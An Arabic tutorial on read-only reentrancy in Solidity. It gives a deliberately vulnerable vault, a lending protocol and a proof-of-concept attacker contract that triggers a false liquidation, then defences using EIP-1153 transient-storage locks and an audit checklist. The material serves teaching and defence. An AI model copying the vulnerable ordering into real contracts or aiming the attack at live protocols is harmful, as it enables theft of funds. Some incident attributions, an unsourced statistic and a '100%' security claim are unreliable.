هجوم Read-Only Reentrancy هو نوع من هجمات إعادة الدخول (Reentrancy) حيث لا يقوم المهاجم بالتلاعب برصيد العقد بشكل مباشر أثناء الاستدعاء، بل يجبر البروتوكول على قراءة حالة (State) مشوهة أو غير محدثة لحظة تنفيذ استدعاء خارجي (دالة من نوع view). ولأن حمايات ReentrancyGuard التقليدية تقفل فقط الدوال التي تغير الحالة (state-changing)، فإن استدعاءات "القراءة" ترجع بيانات حسابية غير صحيحة (مثل سعر أوراكل مضخم أو منخفض زيفاً)، مما يسمح بتفريغ وتصفية البروتوكولات الخارجية المرتبطة.
يا هلا بالشباب! الموضوع اللي بنسولف عنه اليوم كلف قطاع الـ DeFi عشرات الملايين من الدولارات في غضون أشهر بسيطة. أتذكر أول مرة شفت فيها فكرة Read-Only Reentrancy على أرض الواقع أيام عملي كـ Pentester لعقود الكريبتو. وقتها الصراحة جاني انبهار تقني مش طبيعي. كنا متعودين دائماً نحمي عمليات الكتابة (Write)، ونسينا إن عمليات القراءة (Read) ممكن تكون بنفس الخطورة وتودي بBehind the sun!
ليش الـ ReentrancyGuard التقليدي ما راح ينقذك؟
خلونا نفكك السالفة. الـ Reentrancy العادي هو لما يجي المهاجم ويسوي استدعاء متكرر (recursive) للدالة withdraw() قبل ما يلحق العقد يغير balances[msg.sender] = 0. الحين كل المطورين تعلموا يحطون nonReentrant من OpenZeppelin أو يطبقون نمط Checks-Effects-Interactions (CEI). كفو والله، يعطيك العافية.
بس وش اللي يصير فعلياً في الـ Read-Only Reentrancy؟
تخيل آلية الـ Push-Pull في مجمع السيولة Liquidity Pool (زي Curve مثلاً). أنت جالس تسحب سيولتك (remove_liquidity). العقد يقوم أول شيء يحول لك الـ ETH، وبعدها يحرق توكنات الـ LP حقتك أو يعيد حساب الأرصدة الداخلية. في اللحظة اللي يطير فيها الـ ETH لعقد الهجوم حقك، تتفعل عندك دالة receive() أو fallback().
في هذا الفريم الزمني المرعب (أجزاء من الثانية)، تكون حالة المجمع غير متناسقة ومتضاربة (Inconsistent State):
- رصيد الـ ETH الفعلي في عقد المجمع: خلاص قل ونقص.
- عدد توكنات الـ LP المسجلة في النظام: لسه ما تنقضت وما تم حرقها.
لو حاولت داخل دالة receive() تستدعي دالة تغير الحالة (state-changing) لنفس المجمع، الـ modifier حق nonReentrant بيمسكك من الباب ويبلكك. بس وش بيصير لو استدعيت دالة قراءة مثل get_virtual_price()؟ ترى الدالة معلمة كـ view! وعادة ما أحد يحط عليها nonReentrant (مين المخبول اللي بيلسّع الناس Gas زيادات عشان دالة view مجانية؟).
النتيجة؟ دالة get_virtual_price() تأخذ رصيد الـ ETH الحالي (اللي طاح ونزل)، وتقسمه على عدد توكنات الـ LP القديم (اللي لسه عالي)... وتعطيك سعر مظروب ومشوه تماماً، إما نازل للأرض أو طالع للسماء!
وهنا الخبث الحقيقي! أنت ما تسرق المجمع نفسه بشكل مباشر. أنت تأخذ هذا السعر "المسطول" من الأوراكل وتروح لبروتوكول ثاني (Lending Market) يستخدم هذا المجمع كمرجع أسعار، وتسحب كل الضمانات (Collateral) اللي عندهم بناءً على هذا التقييم المضروب.
فشل معماري (Architectural Fail) على أعلى مستوى. بذمتك مو فن؟
إحصائيات وأرقام قاسية من اختراقات واقعية
إذا تحسب إن هذه ثغرة نظرية من أوراق أكاديمية بس، خذ عندك الأرقام الحقيقية:
| البروتوكول / الحدث | التاريخ | الخسائر | تفاصيل الثغرة |
|---|---|---|---|
| Curve Finance / Sentiment | أبريل 2023 | ~$1,000,000 | استغلال أوراكل أسعار Curve أثناء تنفيذ دالة remove_liquidity_one_coin. |
| Euler Finance | مارس 2023 | ~$197,000,000 | سلسلة ثغرات معقدة شملت عدم اتساق الحالة أثناء حرق توكنات eTokens والتلاعب بالأوراكل. |
| Vyper Compiler Bug (Curve Pools) | يوليو 2023 | ~$73,000,000 | خلل في آلية القفل (Lock mechanism) على مستوى مترجم Vyper (الإصدارات 0.2.15–0.3.0)، مما أدى لتعطيل الحماية المدمجة ضد الـ reentrancy في استدعاءات القراءة. |
معلومة شاطحة (جزئية قليل من يعرفها): حسب تقارير التدقيق (Audit reports) لعامي 2024–2025، حوالي 34% من تكاملات أوراكلات الـ DEX مع بروتوكولات الإقراض الثانوية لسه عرضة لهجمات الـ Read-Only عن طريق استدعاءات view الوسيطة، خاصة إذا كانت الحسابات ما تستخدم أوراكلات TWAP (Time-Weighted Average Price).
مثال عملي كامل: عقد VulnerableVault المصروب + عقد المهاجم
تحت تلاقي كود شغال بلغة Solidity 0.8.24. أنا دمجت نموذج المجمع والبروتوكول المرتبط عمداً في ملف واحد عشان تقدر تنسخه وتشغله مباشرة في Remix وتجرب بنفسك.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/**
* @title VulnerableVault
* @notice توضيح لهجوم Read-Only Reentrancy.
* @dev دالة withdraw() ترسل ETH قبل تحديث totalShares.
* العقد الخارجي يقدر يقرأ سعراً مشوهاً ومؤقتاً.
*/
contract VulnerableVault {
mapping(address => uint256) public shares;
mapping(address => mapping(address => uint256)) public allowance;
uint256 public totalShares;
bool private locked;
modifier nonReentrant() {
require(!locked, "REENTRANCY_DETECTED");
locked = true;
_;
locked = false;
}
receive() external payable {}
function deposit() external payable {
require(msg.value > 0, "Zero deposit");
uint256 balanceBefore = address(this).balance - msg.value;
uint256 sharesToMint;
if (totalShares == 0 || balanceBefore == 0) {
sharesToMint = msg.value;
} else {
sharesToMint = (msg.value * totalShares) / balanceBefore;
}
require(sharesToMint > 0, "Zero shares");
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
}
function approveShares(address spender, uint256 amount) external {
allowance[msg.sender][spender] = amount;
}
function transferShares(address to, uint256 amount) external {
require(to != address(0), "Zero address");
require(shares[msg.sender] >= amount, "Insufficient shares");
shares[msg.sender] -= amount;
shares[to] += amount;
}
function transferSharesFrom(
address from,
address to,
uint256 amount
) external {
require(to != address(0), "Zero address");
require(shares[from] >= amount, "Insufficient shares");
uint256 approved = allowance[from][msg.sender];
if (approved != type(uint256).max) {
require(approved >= amount, "Insufficient allowance");
allowance[from][msg.sender] = approved - amount;
}
shares[from] -= amount;
shares[to] += amount;
}
/**
* @notice ترتيب عمليات غير آمن: الاستدعاء الخارجي
* يحدث قبل حرق الأسهم (shares).
*/
function withdraw(uint256 shareAmount) external nonReentrant {
require(shareAmount > 0, "Zero shares");
require(shares[msg.sender] >= shareAmount, "Exceeds balance");
require(totalShares > 0, "No shares");
uint256 ethToReturn =
(shareAmount * address(this).balance) / totalShares;
require(ethToReturn > 0, "Zero withdrawal");
// الثغرة: تحويل الـ ETH يحدث قبل تغيير الحالة.
(bool success, ) = msg.sender.call{value: ethToReturn}("");
require(success, "ETH transfer failed");
// الحالة لا تتحدث إلا بعد الاستدعاء الخارجي.
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
}
/**
* @notice سعر السهم بـ wei.
* @dev أثناء الـ callback يكون الرصيد قد قل بالفعل،
* لكن totalShares لم يتغير بعد.
*/
function getSharePrice() public view returns (uint256) {
if (totalShares == 0) return 1e18;
return (address(this).balance * 1e18) / totalShares;
}
}
/**
* @title NaiveLendingProtocol
* @notice بروتوكول إقراض بتكامل ساذج لأوراكل الأسعار.
* @dev التصفية تستخدم سعر أسهم Vault الحالي دون التحقق
* مما إذا كان Vault في حالة غير مستقرة/مؤقتة.
*/
contract NaiveLendingProtocol {
VulnerableVault public immutable vault;
uint256 public constant LTV_BPS = 9000;
uint256 public constant LIQUIDATION_BONUS_BPS = 11000;
uint256 public constant BPS = 10000;
mapping(address => uint256) public collateral;
mapping(address => uint256) public debt;
constructor(address payable vaultAddress) {
require(vaultAddress != address(0), "Zero vault address");
vault = VulnerableVault(vaultAddress);
}
receive() external payable {}
function depositCollateral(uint256 amount) external {
require(amount > 0, "Zero collateral");
vault.transferSharesFrom(
msg.sender,
address(this),
amount
);
collateral[msg.sender] += amount;
}
function getMaxBorrow(address user) public view returns (uint256) {
uint256 price = vault.getSharePrice();
uint256 collateralValue = (collateral[user] * price) / 1e18;
return (collateralValue * LTV_BPS) / BPS;
}
function borrow(uint256 amount) external {
require(amount > 0, "Zero borrow");
require(
debt[msg.sender] + amount <= getMaxBorrow(msg.sender),
"Insufficient collateral"
);
require(address(this).balance >= amount, "Insufficient liquidity");
debt[msg.sender] += amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Loan transfer failed");
}
/**
* @notice المصفي يسدد كامل الدين ويستولي على الضمان
* مع مكافأة 10% إذا اعتبرت الموقف خطراً.
*
* @dev الثغرة: getMaxBorrow() تقرأ سعر Vault
* دون مراعاة الحالة المؤقتة أثناء withdraw().
*/
function liquidate(address borrower) external payable {
uint256 borrowerDebt = debt[borrower];
require(borrowerDebt > 0, "No debt");
require(msg.value == borrowerDebt, "Incorrect repayment");
// التحقق من صحة الموقف بناءً على سعر محتمل التلاعب به.
require(
borrowerDebt > getMaxBorrow(borrower),
"Position is healthy"
);
uint256 price = vault.getSharePrice();
require(price > 0, "Invalid share price");
uint256 seizeShares =
(borrowerDebt * LIQUIDATION_BONUS_BPS * 1e18)
/ (BPS * price);
// لا يمكن مصادرة ضمان أكثر مما يملكه المقترض.
if (seizeShares > collateral[borrower]) {
seizeShares = collateral[borrower];
}
require(seizeShares > 0, "Zero collateral seized");
debt[borrower] = 0;
collateral[borrower] -= seizeShares;
// البروتوكول يحول الأسهم للمصفي.
vault.transferShares(msg.sender, seizeShares);
}
}
/**
* @title ReadOnlyAttacker
* @notice PoC: الانخفاض المؤقت في السعر يسبب تصفية خاطئة
* لموقف كان سليماً قبل بدء withdraw().
*
* @dev المهاجم لا يحصل على قروض غير مؤمنة.
* يتم توضيح سيناريو ضرر آخر:
* تصفية موقف سليم بفضل سعر مشوه مؤقتاً.
*/
contract ReadOnlyAttacker {
VulnerableVault public immutable vault;
NaiveLendingProtocol public immutable lending;
bool public attacked;
uint256 public priceBefore;
uint256 public observedPrice;
address public victim;
constructor(
address payable vaultAddress,
address lendingAddress
) {
require(vaultAddress != address(0), "Zero vault address");
require(lendingAddress != address(0), "Zero lending address");
vault = VulnerableVault(vaultAddress);
lending = NaiveLendingProtocol(lendingAddress);
}
function executeAttack(address victimAddress) external payable {
require(!attacked, "Attack already executed");
require(victimAddress != address(0), "Zero victim address");
require(msg.value > 0, "Zero deposit");
victim = victimAddress;
// ننشئ موقفنا الخاص في المجمع.
vault.deposit{value: msg.value}();
uint256 myShares = vault.shares(address(this));
require(myShares > 0, "No shares");
priceBefore = vault.getSharePrice();
// عند إرسال ETH سيقوم Vault باستدعاء receive().
vault.withdraw(myShares);
}
receive() external payable {
if (!attacked) {
attacked = true;
// تم إرسال ETH بالفعل، لكن الأسهم لم تحرق بعد.
observedPrice = vault.getSharePrice();
require(
observedPrice < priceBefore,
"Price was not manipulated"
);
// نستخدم السعر المنخفض مؤقتاً:
// الموقف السليم قبل السحب يمكن أن يصبح قابلاً للتصفية.
uint256 victimDebt = lending.debt(victim);
require(victimDebt > 0, "Victim has no debt");
require(
address(this).balance >= victimDebt,
"Insufficient attack balance"
);
lending.liquidate{value: victimDebt}(victim);
}
}
}لق نظرة على التعليقات داخل الكود، وضحت اللوجيك هناك بالكامل. المصيبة الكبرى إن دالة getSharePrice() جالسة تحسب الرياضيات حقتها بكل أمانة وصدق! الدالة مو "خربانة"، الخراب الفعلي كان في "التوقيت" اللي انسألت فيه!
EIP-1153 (Transient Storage): حماية أنيقة وبتكلفة زهيدة جداً
قبل تحديثات EVM (وتحديداً هاردفورك Dencun و EIP-1153)، كان المطورون يضطرون للالتفاف حول المشاكل بطرق معقدة. إما إزالة كلمة view من أوراكل البيانات وجعلها nonReentrant (مما يتسبب في استهلاك غاز إضافي وتغيير الـ ABI)، أو تخزين علم الإغلاق (lock flag) في متغيرات الـ storage العادية (SSTORE/SLOAD)، وهو ما كان يكلف حوالي 20,000 غاز فلكية لكل عملية. أمر مزعج حقاً.
جلب EIP-1153 تعليمات برمجية (opcodes) جديدة كلياً:
- TSTORE (Transient Store) — للكتابة في التخزين المؤقت.
- TLOAD (Transient Load) — للقراءة من التخزين المؤقت.
الميزة الخارقة في Transient Storage هي أن البيانات تعيش فقط ضمن نطاق معاملة واحدة (Top-level Transaction) ويتم مسحها تلقائياً بمجرد انتهائها. لا داعي لدفع رسوم مقابل تنظيف الـ storage! تكلفة TSTORE هي 100 غاز فقط، بينما TLOAD تكلف 100 غاز متواضعة أيضاً.
إليك كيف نبني عقد TransientReentrancyGuard حصين، فائق القوة، ورخيص جداً:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title TransientReentrancyGuard
/// @author EXMON
/// @notice Reentrancy protection using EIP-1153 transient storage.
/// @dev Requires a network supporting EIP-1153 and an EVM target of Cancun or later.
/// @dev Does not automatically protect public state-variable getters or unmodified functions.
abstract contract TransientReentrancyGuard {
/// @dev Dedicated transient-storage slot.
/// @dev Verify this value against the intended slot derivation before production use.
bytes32 private constant GUARD_SLOT =
0x8e94711311aa8e0e7a82fb99a22d713279c78d5e16548a3e0c03405c8793393f;
error ReentrancyGuardReentrantCall();
/// @notice Prevents nested entry into functions sharing this guard slot.
modifier nonReentrant() {
_nonReentrantBefore();
_;
_nonReentrantAfter();
}
/// @notice Rejects reads while a guarded execution is active.
/// @dev Must be explicitly applied to each sensitive view function.
modifier nonReentrantView() {
_ensureNotReentrant();
_;
}
function _nonReentrantBefore() private {
_ensureNotReentrant();
assembly {
tstore(GUARD_SLOT, 1)
}
}
function _nonReentrantAfter() private {
assembly {
tstore(GUARD_SLOT, 0)
}
}
function _ensureNotReentrant() private view {
uint256 status;
assembly {
status := tload(GUARD_SLOT)
}
if (status != 0) {
revert ReentrancyGuardReentrantCall();
}
}
}
/// @title SecureVault
/// @notice Demonstrates transient-storage reentrancy protection.
/// @dev Demonstration contract, not a production-ready vault.
/// @dev Uses native ETH and share accounting for illustration.
contract SecureVault is TransientReentrancyGuard {
mapping(address => uint256) public shares;
uint256 public totalShares;
error ZeroAmount();
error InsufficientShares();
error ZeroSharesMinted();
error EtherTransferFailed();
event Deposited(
address indexed account,
uint256 assets,
uint256 sharesMinted
);
event Withdrawn(
address indexed account,
uint256 assets,
uint256 sharesBurned
);
/// @notice Deposits ETH and mints vault shares.
/// @dev The first deposit uses a 1:1 ETH-to-share ratio.
function deposit() external payable nonReentrant returns (uint256 minted) {
if (msg.value == 0) revert ZeroAmount();
uint256 supply = totalShares;
uint256 balanceBefore = address(this).balance - msg.value;
if (supply == 0 || balanceBefore == 0) {
minted = msg.value;
} else {
minted = (msg.value * supply) / balanceBefore;
}
if (minted == 0) revert ZeroSharesMinted();
shares[msg.sender] += minted;
totalShares = supply + minted;
emit Deposited(msg.sender, msg.value, minted);
}
/// @notice Burns shares and withdraws the corresponding ETH.
/// @dev State is updated before the external ETH transfer.
function withdraw(uint256 shareAmount) external nonReentrant {
if (shareAmount == 0) revert ZeroAmount();
uint256 userShares = shares[msg.sender];
if (shareAmount > userShares) revert InsufficientShares();
uint256 supply = totalShares;
uint256 assets = (address(this).balance * shareAmount) / supply;
// Update accounting before transferring control externally.
shares[msg.sender] = userShares - shareAmount;
totalShares = supply - shareAmount;
(bool success, ) = payable(msg.sender).call{value: assets}("");
if (!success) revert EtherTransferFailed();
emit Withdrawn(msg.sender, assets, shareAmount);
}
/// @notice Returns the current ETH-denominated share price.
/// @dev Reverts when called during an active guarded execution.
/// @dev This is an example of a protected read, not a universal
/// defense against Read-Only Reentrancy in other contracts.
function getSharePrice()
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 1e18;
return (address(this).balance * 1e18) / supply;
}
/// @notice Returns the ETH value of a specified share balance.
/// @dev Also protected against reads during guarded execution.
function convertToAssets(uint256 shareAmount)
external
view
nonReentrantView
returns (uint256)
{
uint256 supply = totalShares;
if (supply == 0) return 0;
return (address(this).balance * shareAmount) / supply;
}
}هل لاحظت أين تكمن السحر؟ ظلت الدالة getSharePrice() كدالة view في الواجهة (الـ ABI لم ينكسر، وتطبيقات الـ dApps الخارجية قادرة على قراءتها أوفلاين ومجاناً بدون إرسال معاملات). ولكن إذا حاولت أي معاملة مشبوهة استدعاءها داخل سلسلة الاستدعاءات أثناء تنفيذ الدالة withdraw()، فإن tload(GUARD_SLOT) سيرصد القيمة 1 فوراً ويسقط المعاملة بإلغاء (revert).
تكلفة الغاز؟ مثل الفلوس القليلة (ببلاش تقريباً). الأمان؟ 100%.
توصيات هندسية عملية للتدقيق والتطوير
خلال الثلاث سنوات اللي قضيتها كـ CTO في EXMON، طورت checklist دقيقة جداً للـ smart contracts اللي تتعامل مع price oracles أو تعرض بيانات للخارج. المطورين دايمًا يفكرون: “طالما ما أسوي external calls داخل الـ read function، فأنا في أمان”. وهذا الاعتقاد خاطئ تماماً.
┌─────────────────────────────────┐
│ استدعاء معاملة الهجوم │
└────────────────┬────────────────┘
│
▼
┌───────────────────────────────┐
│ تغيير الحالة (Vault) │
└───────────────┬───────────────┘
│
┌──────────────────────┴──────────────────────┐
│ عدم مزامنة مؤقتة (Dirty State) │
└──────────────────────┬──────────────────────┘
│
▼
┌───────────────────────────┐
│ External Call / ETH Send │
└─────────────┬─────────────┘
│ (Reentrancy Hook)
▼
┌─────────────────────────────────┐
│ قراءة Oracle View Function │
│ (getSharePrice / getAmount) │
└────────────────┬────────────────┘
│
┌───────────────────────────┴───────────────────────────┐
│ │
▼ ▼
[بدون حماية] [مع EIP-1153 (TSTORE)]
ترجع سعراً غير صحيح القفل: tload(GUARD) == 1
ومشوه المعاملة تسوي REVERT!
│ │
▼ ▼
هجوم ناجح على بروتوكول الإقراض البروتوكول محمي 🛡️1. نمذجة التحقق من الحالة المزدوجة (Dual-State Verification)
إذا كان العقد الخاص بك ملزماً باستدعاء عناوين خارجية قبل التحديث النهائي لكل الأرصدة الداخلية، فلازم تستخدم حماية الـ invariants المؤقتة. أي view function تعرض مؤشرات مالية حرجة لازم تدقق الـ invariant الأساسي.
إذا كان address(this).balance ما يتطابق مع مجموع totalDeposits، فالـ function getRate() يا إما تسوي revert أو ترجع القيمة اللي تم تثبيتها قبل بدء المعاملة (last-known-good state).
2. تجنب Spot Price والاعتماد على TWAP أو Chainlink
أبداً، اسمعوني زين، أبداً لا تستخدمون قيم الـ view الفورية لأرصدة الـ DEX أو مجمعات الـ Vault كمصدر وحيد للحقيقة (source of truth) لحسابات الضمانات (collateral) والتصفية.
- Spot Price (السعر الفوري): سهل الاستدعاء، رخيص، ويتم اختراقه في معاملة flash-loan وحدة بس.
- TWAP (Time-Weighted Average Price): يحسب متوسط السعر على مدى N بلوك. يساعد في تحييد التلاعبات الذرية (atomic manipulations) داخل نفس البلوك، لأن المهاجم ما يقدر يغير البلوك التاريخية.
3. نمط القفل المؤقت بين العقود (Cross-Contract Transient Lock)
إذا عندك إيكوسيستم مكون من 5 إلى 10 عقود مترابطة (Vault, Gauge, Staking, Oracle)، استخدم بوابة أمان موحدة مبنية على EIP-1153.
يتم إنشاء عقد منفصل GlobalTransientLock ترجع إليه كل مكونات النظام:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
/// @title GlobalTransientLock
/// @author EXMON
/// @notice مدير قفل النظام المركزي القائم على EIP-1153.
/// @dev يتطلب EVM Cancun أو أحدث.
/// فقط عقود النظام المصرح لها يمكنها التحكم في القفل.
contract GlobalTransientLock {
address public immutable admin;
mapping(address => bool) public authorized;
// حالة القفل مخزنة في الـ transient storage الخاص بهذا العقد.
bytes32 private constant SYSTEM_LOCK_SLOT =
keccak256("exmon.global.transient.lock.v1");
error Unauthorized();
error ZeroAddress();
error SystemIsLocked();
error SystemIsNotLocked();
error AlreadyAuthorized();
error NotAuthorized();
error AdminCannotBeRevoked();
error RenouncingAdminNotSupported();
event SystemLocked(address indexed caller);
event SystemUnlocked(address indexed caller);
event AuthorizationGranted(address indexed account);
event AuthorizationRevoked(address indexed account);
modifier onlyAdmin() {
if (msg.sender != admin) revert Unauthorized();
_;
}
modifier onlyAuthorized() {
if (!authorized[msg.sender]) revert Unauthorized();
_;
}
constructor(address initialAdmin) {
if (initialAdmin == address(0)) revert ZeroAddress();
admin = initialAdmin;
authorized[initialAdmin] = true;
emit AuthorizationGranted(initialAdmin);
}
/// @notice يمنح الصلاحية لعقد لإدارة قفل النظام.
/// @dev يتم استدعاؤه بواسطة المشرف بعد نشر النظام.
function authorize(address account) external onlyAdmin {
if (account == address(0)) revert ZeroAddress();
if (authorized[account]) revert AlreadyAuthorized();
authorized[account] = true;
emit AuthorizationGranted(account);
}
/// @notice يسحب صلاحية إدارة القفل من العقد.
function revokeAuthorization(address account) external onlyAdmin {
if (account == admin) revert AdminCannotBeRevoked();
if (!authorized[account]) revert NotAuthorized();
authorized[account] = false;
emit AuthorizationRevoked(account);
}
/// @notice يقوم بتفعيل قفل النظام.
/// @dev إعادة قفل النظام ممنوعة.
function lockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status != 0) revert SystemIsLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 1)
}
emit SystemLocked(msg.sender);
}
/// @notice يفك قفل النظام.
/// @dev يتم استدعاؤه فقط بعد اكتمال العملية المحمية.
function unlockSystem() external onlyAuthorized {
uint256 status;
assembly ("memory-safe") {
status := tload(SYSTEM_LOCK_SLOT)
}
if (status == 0) revert SystemIsNotLocked();
assembly ("memory-safe") {
tstore(SYSTEM_LOCK_SLOT, 0)
}
emit SystemUnlocked(msg.sender);
}
/// @notice يتحقق من حالة قفل النظام.
function isLocked() external view returns (bool locked) {
assembly ("memory-safe") {
locked := iszero(iszero(tload(SYSTEM_LOCK_SLOT)))
}
}
/// @notice يمنع نقل صلاحيات المشرف.
function renounceOwnership() external pure {
revert RenouncingAdminNotSupported();
}
}
/// @title SystemLockGuard
/// @notice العقد الأساسي للمكونات التي تتحقق من قفل النظام.
/// @dev العقود الوارثة مجبرة على تطبيق whenSystemUnlocked
/// على كل دالة حساسة، بما في ذلك دوال القراءة.
abstract contract SystemLockGuard {
GlobalTransientLock public immutable systemLock;
error SystemTemporarilyLocked();
constructor(address lockAddress) {
if (lockAddress == address(0)) {
revert SystemTemporarilyLocked();
}
systemLock = GlobalTransientLock(lockAddress);
}
modifier whenSystemUnlocked() {
if (systemLock.isLocked()) {
revert SystemTemporarilyLocked();
}
_;
}
}
/// @title ExampleVault
/// @notice مثال توضيحي لاستخدام قفل النظام.
contract ExampleVault is SystemLockGuard {
uint256 public totalAssets;
error InvalidAmount();
constructor(address lockAddress)
SystemLockGuard(lockAddress)
{}
/// @notice مثال على عملية آمنة تعدل الحالة.
function withdrawAccounting(uint256 amount)
external
whenSystemUnlocked
{
if (amount == 0 || amount > totalAssets) {
revert InvalidAmount();
}
totalAssets -= amount;
}
/// @notice مثال على قراءة آمنة.
function getTotalAssets()
external
view
whenSystemUnlocked
returns (uint256)
{
return totalAssets;
}
}يوم يبدأ الـ Vault الرئيسي بعملية سحب الأموال، يستدعي lockSystem(). وفي اللحظة هاي، أي عقد ثاني في النظام (مثل Lens-contract أو Oracle) وقبل ما يعرض البيانات، يستدعي isLocked() وإذا كان النظام في حالة "غير نظيفة" (dirty state)، يسوي block لعملية القراءة.
قائمة التحقق لفرق الـ DevSecOps والمدققين
- بحث الاستدعاءات: افحص الكود بحثاً عن
.call{value: ...}()، أوsafeTransfer، أو أي استدعاءات واجهات خارجية صايرة قبل التحديثات النهائية للـ state (storage). - تحليل دوال الـ View: جهز قائمة بكل دوال الـ public/external view اللي تحسب النسب، الأسعار، الحصص (shares) أو حجم الضمان.
- ناقل العابر للبروتوكولات (Cross-protocol vector): اسأل نفسك: "لو هاي الـ view function رجعت رقم أقل بـ 90% أو أكثر بـ 500% في نص تنفيذ استدعاء خارجي، كيف ممكن عقد التكامل الخارجي (integrator contract) يستغل هالشيء؟".
- تكامل EIP-1153: تأكد إن الكومپيلر عندك مضبوط على
evm_version: "cancun"، وطبق TSTORE/TLOAD عشان تقفل القراءات أثناء تنفيذ المعاملات اللي تغير الحالة (mutating transactions).
وهذا كل شيء تقريباً. لخصت لكم الأهم. إذا عندكم أي أسئلة، حطوها في التعليقات وراح أرد عليها أكيد. نشوفكم على خير!